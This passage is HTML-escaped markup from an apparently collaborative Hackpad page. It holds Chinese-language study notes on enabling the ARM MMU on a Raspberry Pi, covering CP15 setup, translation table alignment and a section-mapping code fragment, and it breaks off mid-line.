&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;2. Program first-level and second-level descriptor page tables as required.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid49&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;3. Disable and invalidate the Instruction Cache for the corresponding world. You can then&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid50&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;re-enable the Instruction Cache when you enable the MMU.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid51&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;4. Enable the MMU by setting bit 0 in the CP15 Control Register in the corresponding world.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid52&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid53&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 attrimg img&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; display: block; margin: 0px; max-width: 100%; padding: 0px; position: relative; text-align: center;&quot;&gt;&lt;img class=&quot;inline-img&quot; faketext=&quot;*&quot; src=&quot;https://dchtm6r471mui.cloudfront.net/hackpad.com_Jl8YoJ3iUdf_p.263538_1415976741957_section.jpg&quot; style=&quot;cursor: -webkit-zoom-in; margin: 0px; max-height: 773px; max-width: 100%; padding: 0px;&quot; /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid54&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;figure source: 嵌入式Linux学习笔记(四)-内存管理单元mmu&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid55&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;我們現在要做的事如下:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-bullet emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid56&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-bullet listindent1 list-bullet1&quot; style=&quot;list-style-image: initial; list-style-position: initial; margin: 0px 0px 0px 1.5em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;透過CP15 register設定Base address. (圖中的A)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-bullet emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid57&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-bullet listindent1 list-bullet1&quot; style=&quot;list-style-image: initial; list-style-position: initial; margin: 0px 0px 0px 1.5em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;寫好 translation table((section table entry)至對應的記憶體區段中. (圖中的B)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid58&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-hone emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid59&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-hone listindent1 list-hone1&quot; style=&quot;border-bottom-color: rgb(180, 192, 187); border-bottom-style: solid; border-bottom-width: 1px; cursor: text; line-height: 34px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin: 0px 0px 10px; padding: 0px;&quot;&gt;
&lt;li style=&quot;background-position: 10px 2px; background-repeat: no-repeat no-repeat; font-size: 26px; font-weight: bold; margin: 0px 0px 0px -1.3em; padding: 0px 0px 2px 1.3em;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;在Raspberry Pi上啟用MMU:&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid60&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;首先，請把arm1176jzfs_TRM，MMU跟CP 15章節看過。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid61&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid62&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;Translation table，16kb的對齊，所以Translation的base位址一定是要16384(0x4000)的倍數，ex:0x10000,14000,18000...&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid63&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid64&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;4GB的虛擬位址， 共有4096x32bits，每個enrty描述1MB的虛擬記憶體。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid65&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;section一共有4096個,2^12表示0x000xxxxx~0xfffxxxxx的前三個位址index.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid66&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid67&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;把page的base指定到14000上，我們將會用到0x14000開始的16k位置。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line lexer_start gutter-author-p-263538 line-list-type-code emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid68&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-code listindent1 list-code1 lang-c&quot; spellcheck=&quot;false&quot; style=&quot;color: #979797; font-family: monospace; font-size: 14px; line-height: 1.8; list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px; white-space: pre-wrap; word-break: break-all;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: blue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: blue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;unsigned&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: blue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;author-p-263538 identifier&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;page_table&lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren lparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: blue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;unsigned&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: blue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: blue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren rparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;author-p-263538 constant numeric&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: mediumblue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;0x14000&lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid69&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid70&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;page_table存的資料，前12bits對應是實體位置的前12bits，請參照Technical Reference Manual。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid71&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;我想把 實體的位址0x20000000~0x210000000對應到虛定位址0xa0000000~0xa1000000上&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid72&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;0xa0000000取前12bits，是0xa00=2650，也就是說*page_table[2560]要對應的就是0xa0000000~0xa00fffff這1MB的空間。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line lexer_start gutter-author-p-263538 line-list-type-code emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid73&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-code listindent1 list-code1 lang-c&quot; spellcheck=&quot;false&quot; style=&quot;color: #979797; font-family: monospace; font-size: 14px; line-height: 1.8; list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px; white-space: pre-wrap; word-break: break-all;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538 keyword&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: blue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 paren lparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;author-p-263538 identifier&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;gt;=&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 paren lparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;author-p-263538 constant numeric&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: mediumblue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;0xa0000000&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; 